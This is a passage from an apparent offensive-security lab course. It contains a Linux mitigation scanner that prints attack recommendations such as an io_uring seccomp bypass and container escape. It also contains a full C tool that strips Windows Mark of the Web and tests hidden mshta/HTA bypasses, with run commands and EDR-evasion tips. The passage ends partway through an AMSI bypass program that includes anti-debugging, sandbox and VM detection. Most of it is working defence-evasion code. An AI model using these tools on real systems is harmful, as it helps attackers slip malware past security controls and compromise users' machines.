echo " Unprivileged io_uring disabled"
;;
2)
echo " io_uring: FULLY DISABLED"
echo " Hardened against io_uring attacks"
;;
*)
# Check if io_uring exists another way
if [ -e /proc/self/fdinfo ] && ls /proc/*/fdinfo 2>/dev/null | head -1 | xargs grep -l io_uring 2>/dev/null; then
echo " io_uring: ENABLED (processes using it detected)"
else
echo " io_uring: Status unclear, test with io_uring_setup syscall"
fi
;;
esac
echo ""
echo "=== USER NAMESPACE STATUS ==="
echo ""
# User namespaces - critical for container escapes
USERNS=$(cat /proc/sys/kernel/unprivileged_userns_clone 2>/dev/null || \
cat /proc/sys/user/max_user_namespaces 2>/dev/null)
echo -n "[*] Unprivileged User Namespaces: "
if [ "$USERNS" = "0" ]; then
echo "DISABLED"
echo " Container escapes via userns harder"
echo " Many sandbox escapes blocked"
else
echo "ENABLED"
echo " [!] Can create user namespaces without root"
echo " Attack: userns -> mount namespace -> escape attempts"
fi
echo ""
echo "=== ATTACK PATH RECOMMENDATIONS ==="
echo ""
echo "Linux-Specific Attack Vectors:"
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
if [ "$IOURING_DISABLED" != "2" ] && [ "$IOURING_DISABLED" != "1" ]; then
echo "[!] io_uring ENABLED: Use for seccomp bypass"
echo " -> io_uring ops don't trigger seccomp filters"
echo " -> Read/write files, network I/O without syscalls"
fi
if [ "$USERNS" != "0" ]; then
echo "[!] User namespaces ENABLED: Container escape vector"
echo " -> Create privileged namespace context"
echo " -> Pair with other vulns for escape"
fi
if ! grep -q bpf /sys/kernel/security/lsm 2>/dev/null; then
echo "[+] No eBPF LSM: Traditional evasion techniques work"
fi
echo ""
echo "[*] Run this on target to identify attack surface"
echo "[*] For containers: also check cgroup escapes, /proc mounts"
#!/usr/bin/env python3
# ~/offensive_lab/linux_recon.py
import os
import subprocess
from pathlib import Path
class LinuxMitigationScanner:
def __init__(self):
self.results = {}
def check_kaslr(self):
"""Check KASLR status"""
try:
with open('/proc/kallsyms', 'r') as f:
first_line = f.readline()
if first_line.startswith('0000000000000000'):
return {'enabled': True, 'note': 'Symbols hidden from non-root'}
else:
addr = first_line.split()[0]
return {'enabled': True, 'kernel_base': f'0x{addr}'}
except PermissionError:
return {'enabled': True, 'note': 'Cannot read kallsyms'}
except:
return {'enabled': 'unknown'}
def check_cpu_features(self):
"""Check SMEP/SMAP/other CPU mitigations"""
features = {}
try:
with open('/proc/cpuinfo', 'r') as f:
cpuinfo = f.read()
features['smep'] = 'smep' in cpuinfo
features['smap'] = 'smap' in cpuinfo
features['umip'] = 'umip' in cpuinfo # User-Mode Instruction Prevention
features['pti'] = 'pti' in cpuinfo # Page Table Isolation (Meltdown)
except:
pass
return features
def check_io_uring(self):
"""Check io_uring availability - CRITICAL for seccomp bypass"""
try:
disabled = int(Path('/proc/sys/kernel/io_uring_disabled').read_text().strip())
return {
'status': ['fully_enabled', 'restricted', 'fully_disabled'][disabled],
'seccomp_bypass': disabled == 0,
'note': 'io_uring operations bypass seccomp filters!' if disabled == 0 else ''
}
except:
# Try to actually use io_uring
return {'status': 'check_manually', 'note': 'Test with io_uring_setup'}
def check_landlock(self):
"""Check Landlock LSM availability"""
landlock_path = Path('/sys/kernel/security/landlock/abi_version')
if landlock_path.exists():
version = landlock_path.read_text().strip()
return {'available': True, 'abi_version': int(version)}
return {'available': False}
def check_user_namespaces(self):
"""Check if unprivileged user namespaces are allowed"""
paths = [
'/proc/sys/kernel/unprivileged_userns_clone',
'/proc/sys/user/max_user_namespaces'
]
for path in paths:
try:
value = int(Path(path).read_text().strip())
return {
'enabled': value != 0,
'path': path,
'value': value,
'attack_note': 'Can create user namespaces for sandbox escape' if value != 0 else ''
}
except:
continue
return {'enabled': 'unknown'}
def check_kfence(self):
"""Check KFENCE (kernel memory safety) status"""
kfence_path = Path('/sys/kernel/debug/kfence')
return {
'enabled': kfence_path.exists(),
'note': 'Some UAF/OOB bugs will be detected at runtime' if kfence_path.exists() else ''
}
def check_seccomp_status(self):
"""Check seccomp status of current process"""
try:
with open('/proc/self/status', 'r') as f:
for line in f:
if line.startswith('Seccomp:'):
mode = int(line.split()[1])
return {
'mode': mode,
'mode_name': ['disabled', 'strict', 'filter'][mode],
'note': 'Seccomp active - check io_uring bypass!' if mode == 2 else ''
}
except:
pass
return {'mode': 'unknown'}
def check_ebpf_lsm(self):
"""Check if eBPF LSM is active"""
try:
lsm = Path('/sys/kernel/security/lsm').read_text().strip()
return {
'active_lsms': lsm.split(','),
'bpf_lsm': 'bpf' in lsm,
'note': 'eBPF LSM can enforce custom security policies' if 'bpf' in lsm else ''
}
except:
return {'bpf_lsm': 'unknown'}
def full_scan(self):
"""Run all checks and return results"""
print("=" * 60)
print("Linux Mitigation Scanner - Offensive Reconnaissance")
print("=" * 60)
checks = {
'kaslr': self.check_kaslr(),
'cpu_features': self.check_cpu_features(),
'io_uring': self.check_io_uring(),
'landlock': self.check_landlock(),
'user_namespaces': self.check_user_namespaces(),
'kfence': self.check_kfence(),
'seccomp': self.check_seccomp_status(),
'ebpf_lsm': self.check_ebpf_lsm(),
}
for name, result in checks.items():
print(f"\n[{name.upper()}]")
for key, value in result.items():
print(f" {key}: {value}")
# Attack recommendations
print("\n" + "=" * 60)
print("ATTACK RECOMMENDATIONS")
print("=" * 60)
if checks['io_uring'].get('seccomp_bypass'):
print("\n[!] CRITICAL: io_uring can bypass seccomp!")
print(" Use io_uring for file/network ops in sandboxed process")
if checks['user_namespaces'].get('enabled'):
print("\n[!] User namespaces enabled - container escape vector")
print(" Combine with other vulns for privilege escalation")
if not checks['cpu_features'].get('smap'):
print("\n[+] SMAP not supported - kernel can access userspace directly")
return checks
if __name__ == "__main__":
scanner = LinuxMitigationScanner()
scanner.full_scan()
Mark of the Web (MOTW) is a critical security boundary that determines whether downloaded files are trusted. It's implemented via NTFS Alternate Data Streams (ADS) and affects SmartScreen, Smart App Control, ASR rules, and WDAC policies.
Why MOTW Matters for Red Teams:
MOTW Architecture:
┌─────────────────────────────────────────────────────────────────┐
│ Mark of the Web Flow │
├─────────────────────────────────────────────────────────────────┤
│ │
│ 1. File Download/Creation │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ Browser/Email/SMB -> Downloads file.exe │ │
│ │ Writes Zone.Identifier ADS to file.exe:Zone.Identifier│ │
│ │ (Windows 11 24H2+: Also writes :SmartScreen ADS) │ │
│ └───────────────────────────────────────────────────────┘ │
│ ↓ │
│ 2. Zone.Identifier Content │
│ ┌──────────────────────────────────────────────────────┐ │
│ │ [ZoneTransfer] │ │
│ │ ZoneId=3 ← Internet zone (untrusted) │ │
│ │ ReferrerUrl=https://attacker.com/payload.exe │ │
│ │ HostUrl=https://attacker.com/payload.exe │ │
│ └──────────────────────────────────────────────────────┘ │
│ ↓ │
│ 3. Execution Attempt │
│ ┌──────────────────────────────────────────────────────┐ │
│ │ User double-clicks file.exe │ │
│ │ Windows checks for Zone.Identifier ADS │ │
│ └──────────────────────────────────────────────────────┘ │
│ ↓ │
│ 4. Security Policy Enforcement │
│ ┌──────────────────────────────────────────────────────┐ │
│ │ SmartScreen: "This file is not commonly downloaded" │ │
│ │ Smart App Control: Block unsigned MOTW files │ │
│ │ ASR: Block executable content from email/webmail │ │
│ │ WDAC: Apply stricter rules to MOTW files │ │
│ └──────────────────────────────────────────────────────┘ │
│ │
│ Zone IDs: │
│ 0 = Local Computer (trusted) │
│ 1 = Local Intranet (trusted) │
│ 2 = Trusted Sites │
│ 3 = Internet (MOTW applied) │
│ 4 = Restricted Sites │
│ │
└─────────────────────────────────────────────────────────────────┘
MOTW Analysis:
// motw_recon.c
// Compile: cl src\motw_recon.c /Fe:bin\motw_recon.exe advapi32.lib shell32.lib urlmon.lib
#include <windows.h>
#include <stdio.h>
#include <shlobj.h>
#include <urlmon.h>
#pragma comment(lib, "urlmon.lib")
#define URLZONE_LOCAL_MACHINE 0
#define URLZONE_INTRANET 1
#define URLZONE_TRUSTED 2
#define URLZONE_INTERNET 3
#define URLZONE_UNTRUSTED 4
typedef struct {
char filepath[MAX_PATH];
BOOL hasMotw;
DWORD zoneId;
char referrerUrl[512];
char hostUrl[512];
} MOTWInfo;
// Check if file has MOTW
BOOL CheckMOTW(const char* filepath, MOTWInfo* info) {
char adsPath[MAX_PATH + 30];
snprintf(adsPath, sizeof(adsPath), "%s:Zone.Identifier", filepath);
HANDLE hFile = CreateFileA(adsPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
info->hasMotw = FALSE;
return FALSE;
}
char buffer[2048] = {0};
DWORD bytesRead = 0;
ReadFile(hFile, buffer, sizeof(buffer) - 1, &bytesRead, NULL);
CloseHandle(hFile);
info->hasMotw = TRUE;
char* zoneIdStr = strstr(buffer, "ZoneId=");
if (zoneIdStr) {
info->zoneId = atoi(zoneIdStr + 7);
}
char* referrerStr = strstr(buffer, "ReferrerUrl=");
if (referrerStr) {
char* end = strchr(referrerStr, '\r');
if (!end) end = strchr(referrerStr, '\n');
if (end) {
size_t len = end - (referrerStr + 12);
if (len < sizeof(info->referrerUrl)) {
memcpy(info->referrerUrl, referrerStr + 12, len);
info->referrerUrl[len] = '\0';
}
}
}
return TRUE;
}
// Remove MOTW
BOOL RemoveMOTW(const char* filepath) {
char adsPath[MAX_PATH + 30];
BOOL success = FALSE;
snprintf(adsPath, sizeof(adsPath), "%s:Zone.Identifier", filepath);
if (DeleteFileA(adsPath)) {
printf("[+] MOTW removed\n");
success = TRUE;
}
snprintf(adsPath, sizeof(adsPath), "%s:SmartScreen", filepath);
DeleteFileA(adsPath); // Windows 11 24H2+
return success;
}
// Copy file without MOTW
BOOL CopyWithoutMOTW(const char* source, const char* dest) {
HANDLE hSource = CreateFileA(source, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hSource == INVALID_HANDLE_VALUE) return FALSE;
DWORD fileSize = GetFileSize(hSource, NULL);
BYTE* buffer = (BYTE*)malloc(fileSize);
DWORD bytesRead;
ReadFile(hSource, buffer, fileSize, &bytesRead, NULL);
CloseHandle(hSource);
HANDLE hDest = CreateFileA(dest, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDest == INVALID_HANDLE_VALUE) {
free(buffer);
return FALSE;
}
DWORD bytesWritten;
WriteFile(hDest, buffer, bytesRead, &bytesWritten, NULL);
CloseHandle(hDest);
free(buffer);
printf("[+] Copied without MOTW: %s -> %s\n", source, dest);
return TRUE;
}
// Test FileFix bypass - HTA execution without MOTW
BOOL TestFileFixBypass(const char* testFile) {
printf("\n[TEST] FileFix (HTA) Bypass\n");
char htaPath[MAX_PATH];
GetTempPathA(MAX_PATH, htaPath);
strcat(htaPath, "test_filefix.hta");
char absTestFile[MAX_PATH];
if (!GetFullPathNameA(testFile, MAX_PATH, absTestFile, NULL)) return FALSE;
HANDLE hFile = CreateFileA(htaPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create HTA\n");
return FALSE;
}
char htaContent[4096];
snprintf(htaContent, sizeof(htaContent),
"<html><head><HTA:APPLICATION SHOWINTASKBAR=\"no\" WINDOWSTATE=\"minimize\"/></head>\n"
"<body><script language=\"JScript\">\n"
"var shell = new ActiveXObject('WScript.Shell');\n"
"var fso = new ActiveXObject('Scripting.FileSystemObject');\n"
"var dst = shell.ExpandEnvironmentStrings('%%TEMP%%') + '\\\\test_clean.exe';\n"
"try { fso.CopyFile('%s', dst, true); } catch(e) {}\n"
"window.close();\n"
"</script></body></html>\n",
absTestFile);
DWORD written;
WriteFile(hFile, htaContent, strlen(htaContent), &written, NULL);
CloseHandle(hFile);
char mshtaPath[MAX_PATH];
ExpandEnvironmentStringsA("%SystemRoot%\\System32\\mshta.exe", mshtaPath, MAX_PATH);
if (GetFileAttributesA(mshtaPath) == INVALID_FILE_ATTRIBUTES) {
printf("[-] mshta.exe not found\n");
DeleteFileA(htaPath);
return FALSE;
}
char execCmd[1024];
snprintf(execCmd, sizeof(execCmd), "\"%s\" \"%s\"", mshtaPath, htaPath);
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
BOOL success = FALSE;
if (CreateProcessA(NULL, execCmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
WaitForSingleObject(pi.hProcess, 5000);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
char copiedFile[MAX_PATH];
ExpandEnvironmentStringsA("%TEMP%\\test_clean.exe", copiedFile, MAX_PATH);
MOTWInfo info = {0};
if (!CheckMOTW(copiedFile, &info)) {
printf("[+] SUCCESS: File copied without MOTW via HTA\n");
success = TRUE;
}
DeleteFileA(copiedFile);
}
DeleteFileA(htaPath);
return success;
}
// Test mshta.exe inline execution
BOOL TestMshtaBypass(const char* testFile) {
printf("\n[TEST] mshta.exe Inline Execution\n");
char mshtaPath[MAX_PATH];
ExpandEnvironmentStringsA("%SystemRoot%\\System32\\mshta.exe", mshtaPath, MAX_PATH);
if (GetFileAttributesA(mshtaPath) == INVALID_FILE_ATTRIBUTES) {
printf("[-] mshta.exe not found\n");
return FALSE;
}
char absTestFile[MAX_PATH];
if (!GetFullPathNameA(testFile, MAX_PATH, absTestFile, NULL)) return FALSE;
char inlineCmd[2048];
snprintf(inlineCmd, sizeof(inlineCmd),
"\"%s\" \"javascript:var s=new ActiveXObject('WScript.Shell');"
"var f=new ActiveXObject('Scripting.FileSystemObject');"
"var t=s.ExpandEnvironmentStrings('%%TEMP%%')+'\\\\\\\\mshta_test.exe';"
"try{f.CopyFile('%s',t,true);}catch(e){}"
"close();\"",
mshtaPath, absTestFile);
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
BOOL success = FALSE;
if (CreateProcessA(NULL, inlineCmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
WaitForSingleObject(pi.hProcess, 5000);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
char copiedFile[MAX_PATH];
ExpandEnvironmentStringsA("%TEMP%\\mshta_test.exe", copiedFile, MAX_PATH);
MOTWInfo info = {0};
if (!CheckMOTW(copiedFile, &info)) {
printf("[+] SUCCESS: mshta.exe executed inline code\n");
success = TRUE;
}
DeleteFileA(copiedFile);
}
return success;
}
// Test ADS deletion
BOOL TestADSDeletion(const char* testFile) {
printf("\n[TEST] ADS Deletion\n");
char tempFile[MAX_PATH];
GetTempPathA(MAX_PATH, tempFile);
strcat(tempFile, "test_ads.exe");
if (!CopyFileA(testFile, tempFile, FALSE)) {
printf("[-] Failed to copy test file\n");
return FALSE;
}
char adsPath[MAX_PATH + 30];
snprintf(adsPath, sizeof(adsPath), "%s:Zone.Identifier", tempFile);
HANDLE hAds = CreateFileA(adsPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
if (hAds == INVALID_HANDLE_VALUE) {
DeleteFileA(tempFile);
return FALSE;
}
const char* motw = "[ZoneTransfer]\r\nZoneId=3\r\n";
DWORD written;
WriteFile(hAds, motw, strlen(motw), &written, NULL);
CloseHandle(hAds);
MOTWInfo info = {0};
if (!CheckMOTW(tempFile, &info)) {
DeleteFileA(tempFile);
return FALSE;
}
if (!DeleteFileA(adsPath)) {
DeleteFileA(tempFile);
return FALSE;
}
if (CheckMOTW(tempFile, &info)) {
printf("[-] MOTW still present\n");
DeleteFileA(tempFile);
return FALSE;
}
printf("[+] SUCCESS: MOTW removed\n");
DeleteFileA(tempFile);
return TRUE;
}
// Test copy without ADS
BOOL TestCopyWithoutADS(const char* testFile) {
printf("\n[TEST] Copy Without ADS\n");
char sourceFile[MAX_PATH], destFile[MAX_PATH];
GetTempPathA(MAX_PATH, sourceFile);
strcat(sourceFile, "test_source.exe");
GetTempPathA(MAX_PATH, destFile);
strcat(destFile, "test_dest.exe");
if (!CopyFileA(testFile, sourceFile, FALSE)) {
printf("[-] Failed to copy test file\n");
return FALSE;
}
char adsPath[MAX_PATH + 30];
snprintf(adsPath, sizeof(adsPath), "%s:Zone.Identifier", sourceFile);
HANDLE hAds = CreateFileA(adsPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
if (hAds == INVALID_HANDLE_VALUE) {
DeleteFileA(sourceFile);
return FALSE;
}
const char* motw = "[ZoneTransfer]\r\nZoneId=3\r\n";
DWORD written;
WriteFile(hAds, motw, strlen(motw), &written, NULL);
CloseHandle(hAds);
MOTWInfo info = {0};
if (!CheckMOTW(sourceFile, &info)) {
DeleteFileA(sourceFile);
return FALSE;
}
HANDLE hSource = CreateFileA(sourceFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hSource == INVALID_HANDLE_VALUE) {
DeleteFileA(sourceFile);
return FALSE;
}
DWORD fileSize = GetFileSize(hSource, NULL);
BYTE* buffer = (BYTE*)malloc(fileSize);
DWORD bytesRead;
ReadFile(hSource, buffer, fileSize, &bytesRead, NULL);
CloseHandle(hSource);
HANDLE hDest = CreateFileA(destFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDest == INVALID_HANDLE_VALUE) {
free(buffer);
DeleteFileA(sourceFile);
return FALSE;
}
DWORD bytesWritten;
WriteFile(hDest, buffer, bytesRead, &bytesWritten, NULL);
CloseHandle(hDest);
free(buffer);
if (CheckMOTW(destFile, &info)) {
printf("[-] Destination has MOTW\n");
DeleteFileA(sourceFile);
DeleteFileA(destFile);
return FALSE;
}
printf("[+] SUCCESS: Copied without MOTW\n");
DeleteFileA(sourceFile);
DeleteFileA(destFile);
return TRUE;
}
// Run all bypass tests
void RunBypassTests(const char* testFile) {
printf("\n=================================\n");
printf(" MOTW Bypass Testing Suite \n");
printf("===================================\n");
printf("\nTesting: %s\n", testFile);
int total = 0, passed = 0;
total++; if (TestFileFixBypass(testFile)) passed++;
total++; if (TestMshtaBypass(testFile)) passed++;
total++; if (TestADSDeletion(testFile)) passed++;
total++; if (TestCopyWithoutADS(testFile)) passed++;
printf("\n================================================================\n");
printf(" Results: %d/%d bypasses working\n", passed, total);
printf("================================================================\n");
printf("\nRecommended methods:\n");
printf(" 1. FileFix (HTA) - UNPATCHED, most effective\n");
printf(" 2. mshta.exe inline - BY DESIGN, won't be patched\n");
printf(" 3. ADS deletion - Always works, easily detected\n");
printf(" 4. Copy without ADS - Always works, less noisy\n\n");
}
int main(int argc, char* argv[]) {
if (argc < 2) {
printf("\nUsage:\n");
printf(" %s check <file> - Check if file has MOTW\n", argv[0]);
printf(" %s remove <file> - Remove MOTW from file\n", argv[0]);
printf(" %s copy <src> <dst> - Copy without MOTW\n", argv[0]);
printf(" %s test <file> - Test all bypass methods\n", argv[0]);
printf("\n");
return 1;
}
if (strcmp(argv[1], "check") == 0 && argc >= 3) {
MOTWInfo info = {0};
if (CheckMOTW(argv[2], &info)) {
printf("\n[+] File has MOTW\n");
printf(" ZoneId: %d ", info.zoneId);
switch (info.zoneId) {
case URLZONE_LOCAL_MACHINE: printf("(Local - Trusted)\n"); break;
case URLZONE_INTRANET: printf("(Intranet - Trusted)\n"); break;
case URLZONE_TRUSTED: printf("(Trusted Sites)\n"); break;
case URLZONE_INTERNET: printf("(Internet - UNTRUSTED)\n"); break;
case URLZONE_UNTRUSTED: printf("(Restricted)\n"); break;
}
if (info.referrerUrl[0]) printf(" Referrer: %s\n", info.referrerUrl);
} else {
printf("\n[-] File does NOT have MOTW\n");
}
}
else if (strcmp(argv[1], "remove") == 0 && argc >= 3) {
RemoveMOTW(argv[2]);
}
else if (strcmp(argv[1], "copy") == 0 && argc >= 4) {
CopyWithoutMOTW(argv[2], argv[3]);
}
else if (strcmp(argv[1], "test") == 0 && argc >= 3) {
RunBypassTests(argv[2]);
}
else {
printf("[-] Unknown command\n");
return 1;
}
return 0;
}
Compile and Run
cd C:\Windows_Mitigation_Lab
cl src\motw_recon.c /Fe:bin\motw_recon.exe advapi32.lib shell32.lib urlmon.lib
# Download test file via Edge (gets MOTW automatically)
# Example: https://www.7-zip.org/a/7z2408-x64.exe
# Save to: C:\Windows_Mitigation_Lab\7z2408-x64.exe
# Check if file has MOTW
.\bin\motw_recon.exe check 7z2408-x64.exe
# Test ALL bypass methods (shows what works on your system)
.\bin\motw_recon.exe test 7z2408-x64.exe
# Copy file without MOTW (less noisy than removal)
.\bin\motw_recon.exe copy 7z2408-x64.exe 7z2408-x64_clean.exe
# Remove MOTW (more noisy, detected by EDR)
.\bin\motw_recon.exe remove 7z2408-x64.exe
# PowerShell verification commands
Get-Item 7z2408-x64.exe -Stream * | Format-Table Stream, Length
Get-Content 7z2408-x64.exe -Stream Zone.Identifier -ErrorAction SilentlyContinue
Get-Content 7z2408-x64.exe -Stream SmartScreen -ErrorAction SilentlyContinue # Windows 11 24H2+
Get-Item 7z2408-x64.exe | Select-Object Name, Length, LastWriteTime
Lab 1.1: System Reconnaissance (Windows)
unified_recon.exe on your target Windows VMLab 1.2: Process Hunting (Windows)
Lab 1.3: Driver Enumeration (Windows)
Lab 1.4: Linux Reconnaissance
linux_mitigation_scanner.sh on target Linux systemLab 1.5: Attack Path Planning Based on your recon, document:
AMSI scans PowerShell, JavaScript, VBScript, and .NET assembly loads in real-time. Before AMSI, attackers could execute obfuscated malicious scripts that bypassed static file scanning. AMSI closed this gap - now we need to bypass it.
┌─────────────────────────────────────────────────────────────────┐
│ AMSI Scan Flow │
├─────────────────────────────────────────────────────────────────┤
│ │
│ PowerShell.exe (your payload) │
│ │ │
│ ▼ │
│ ┌─────────────────┐ │
│ │ amsi.dll │ <- Loaded into every script host process │
│ │ │ │
│ │ AmsiInitialize()│ <- Creates AMSI context │
│ │ AmsiScanBuffer()│ <- Scans script content <- PATCH TARGET │
│ │ AmsiScanString()│ <- Scans strings │
│ └─────────────────┘ │
│ │ │
│ ▼ │
│ ┌──────────────┐ │
│ │ Windows │ │
│ │ Defender │ <- Receives scan request, returns verdict │
│ └──────────────┘ │
│ │ │
│ ▼ │
│ AMSI_RESULT: │
│ - AMSI_RESULT_CLEAN (0) -> Execute allowed │
│ - AMSI_RESULT_DETECTED (32768) -> Block execution │
│ │
│ BYPASS STRATEGIES: │
│ 1. Patch AmsiScanBuffer to return CLEAN │
│ 2. Corrupt AMSI context (amsiContext) │
│ 3. Unhook/unload amsi.dll │
│ 4. Obfuscate payload to avoid signatures │
│ │
└─────────────────────────────────────────────────────────────────┘
// amsi_bypass_multi.c
// Compile: cl src\amsi_bypass_multi.c /Fe:bin\amsi_bypass_multi.exe /MT wininet.lib
// Usage: .\bin\amsi_bypass_multi.exe --no-checks (for VMs/testing)
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <winternl.h>
#include <intrin.h>
#include <psapi.h>
#include <wininet.h>
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "wininet.lib")
// AMSI definitions
typedef enum AMSI_RESULT {
AMSI_RESULT_CLEAN = 0,
AMSI_RESULT_NOT_DETECTED = 1,
AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384,
AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479,
AMSI_RESULT_DETECTED = 32768
} AMSI_RESULT;
typedef void* HAMSICONTEXT;
typedef void* HAMSISESSION;
typedef struct _ANTI_ANALYSIS_CTX {
BOOL is_debugged;
BOOL is_sandbox;
BOOL is_vm;
DWORD time_delta;
} ANTI_ANALYSIS_CTX;
typedef struct _SYSCALL_ENTRY {
DWORD syscall_number;
PVOID function_address;
WCHAR* function_name;
} SYSCALL_ENTRY;
typedef struct _HWBP_CTX {
HANDLE thread_handle;
CONTEXT ctx;
DWORD64 original_amsi_addr;
BYTE original_bytes[16];
} HWBP_CTX;
static ANTI_ANALYSIS_CTX g_anti_ctx = {0};
static HWBP_CTX g_hwbp_ctx = {0};
static BOOL g_bypass_active = FALSE;
static BOOL g_skip_anti_analysis = FALSE; // Flag to skip anti-analysis checks
BOOL CheckDebuggerPresence() {
BOOL is_remote_debugger = FALSE;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &is_remote_debugger);
PVOID peb = (PVOID)__readgsqword(0x60);
DWORD nt_global_flag = *(DWORD*)((BYTE*)peb + 0xBC);
BOOL is_debugged_nt = (nt_global_flag & 0x70) != 0;
HANDLE heap = GetProcessHeap();
DWORD heap_flags = *(DWORD*)((BYTE*)heap + 0x70);
BOOL is_debugged_heap = (heap_flags & 2) != 0;
return is_remote_debugger || is_debugged_nt || is_debugged_heap;
}
BOOL CheckSandboxEnvironment() {
WCHAR system32[MAX_PATH];
GetSystemDirectoryW(system32, MAX_PATH);
WCHAR sandbox_files[][MAX_PATH] = {
L"\\drivers\\vboxdrv.sys",
L"\\drivers\\VBoxMouse.sys",
L"\\drivers\\VBoxGuest.sys",
L"\\drivers\\vmware.sys",
L"\\drivers\\vmx86.sys"
};
for (int i = 0; i < 5; i++) {
WCHAR full_path[MAX_PATH];
wcscpy_s(full_path, MAX_PATH, system32);
wcscat_s(full_path, MAX_PATH, sandbox_files[i]);
if (GetFileAttributesW(full_path) != INVALID_FILE_ATTRIBUTES) {
return TRUE;
}
}
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) return FALSE;
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(snapshot, &pe32)) {
do {
WCHAR* sandbox_processes[] = {
L"vboxservice.exe",
L"vboxtray.exe",
L"vmtoolsd.exe",
L"vmwareuser.exe",
L"procmon.exe",
L"wireshark.exe"
};
for (int i = 0; i < 6; i++) {
if (_wcsicmp(pe32.szExeFile, sandbox_processes[i]) == 0) {
CloseHandle(snapshot);
return TRUE;
}
}
} while (Process32NextW(snapshot, &pe32));
}
CloseHandle(snapshot);
return FALSE;
}
BOOL CheckVMEnvironment() {
int cpuid_result[4];
__cpuid(cpuid_result, 1);
BOOL hypervisor_present = (cpuid_result[2] & 0x80000000) != 0;
__cpuid(cpuid_result, 0x40000000);
BOOL hypervisor_leaf = cpuid_result[0] >= 0x40000000;
HKEY hKey;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Services\\VBoxService", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegCloseKey(hKey);
return TRUE;
}
return hypervisor_present || hypervisor_leaf;
}
BOOL GetWebServerTime(SYSTEMTIME* serverTime) {
HINTERNET hInternet = InternetOpenA("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) return FALSE;
// Use a reliable time server
HINTERNET hConnect = InternetOpenUrlA(hInternet, "http://www.google.com", NULL, 0,
INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_RELOAD, 0);
if (!hConnect) {
InternetCloseHandle(hInternet);
return FALSE;
}
// Get Date header from HTTP response
char dateBuffer[128];
DWORD bufferSize = sizeof(dateBuffer);
DWORD index = 0;
if (HttpQueryInfoA(hConnect, HTTP_QUERY_DATE, dateBuffer, &bufferSize, &index)) {
// Parse HTTP date format: "Day, DD Mon YYYY HH:MM:SS GMT"
// Example: "Wed, 21 Oct 2015 07:28:00 GMT"
SYSTEMTIME st = {0};
char monthStr[4] = {0};
char dayStr[4] = {0};
int day, year, hour, minute, second;
// Parse into int first, then convert to WORD
sscanf_s(dateBuffer, "%*3s, %d %3s %d %d:%d:%d",
&day, monthStr, 4, &year, &hour, &minute, &second);
st.wDay = (WORD)day;
st.wYear = (WORD)year;
st.wHour = (WORD)hour;
st.wMinute = (WORD)minute;
st.wSecond = (WORD)second;
// Convert month string to number
const char* months[] = {"Jan", "Feb", "Mar", "Apr", "May", "Jun",
"Jul", "Aug", "Sep", "Oct", "Nov", "Dec"};
for (int i = 0; i < 12; i++) {
if (strcmp(monthStr, months[i]) == 0) {
st.wMonth = i + 1;
break;
}
}
*serverTime = st;
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return TRUE;
}
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return FALSE;
}
DWORD SystemTimeDiffMs(SYSTEMTIME* st1, SYSTEMTIME* st2) {
FILETIME ft1, ft2;
ULARGE_INTEGER uli1, uli2;
SystemTimeToFileTime(st1, &ft1);
SystemTimeToFileTime(st2, &ft2);
uli1.LowPart = ft1.dwLowDateTime;
uli1.HighPart = ft1.dwHighDateTime;
uli2.LowPart = ft2.dwLowDateTime;
uli2.HighPart = ft2.dwHighDateTime;
ULONGLONG diff = (uli2.QuadPart - uli1.QuadPart) / 10000; // Convert to milliseconds
return (DWORD)diff;
}
VOID InitializeAntiAnalysis() {
if (g_skip_anti_analysis) {
printf("[*] Anti-analysis checks SKIPPED (--no-checks flag)\n");
return;
}
g_anti_ctx.is_debugged = CheckDebuggerPresence();
g_anti_ctx.is_sandbox = CheckSandboxEnvironment();
g_anti_ctx.is_vm = CheckVMEnvironment();
printf("[*] Checking for time manipulation (fetching from web server)...\n");
SYSTEMTIME webTime1, webTime2;
BOOL useWebTime = GetWebServerTime(&webTime1);
if (useWebTime) {
printf("[+] Got initial web server time\n");
Sleep(2000); // Sleep for 2 seconds
if (GetWebServerTime(&webTime2)) {
g_anti_ctx.time_delta = SystemTimeDiffMs(&webTime1, &webTime2);
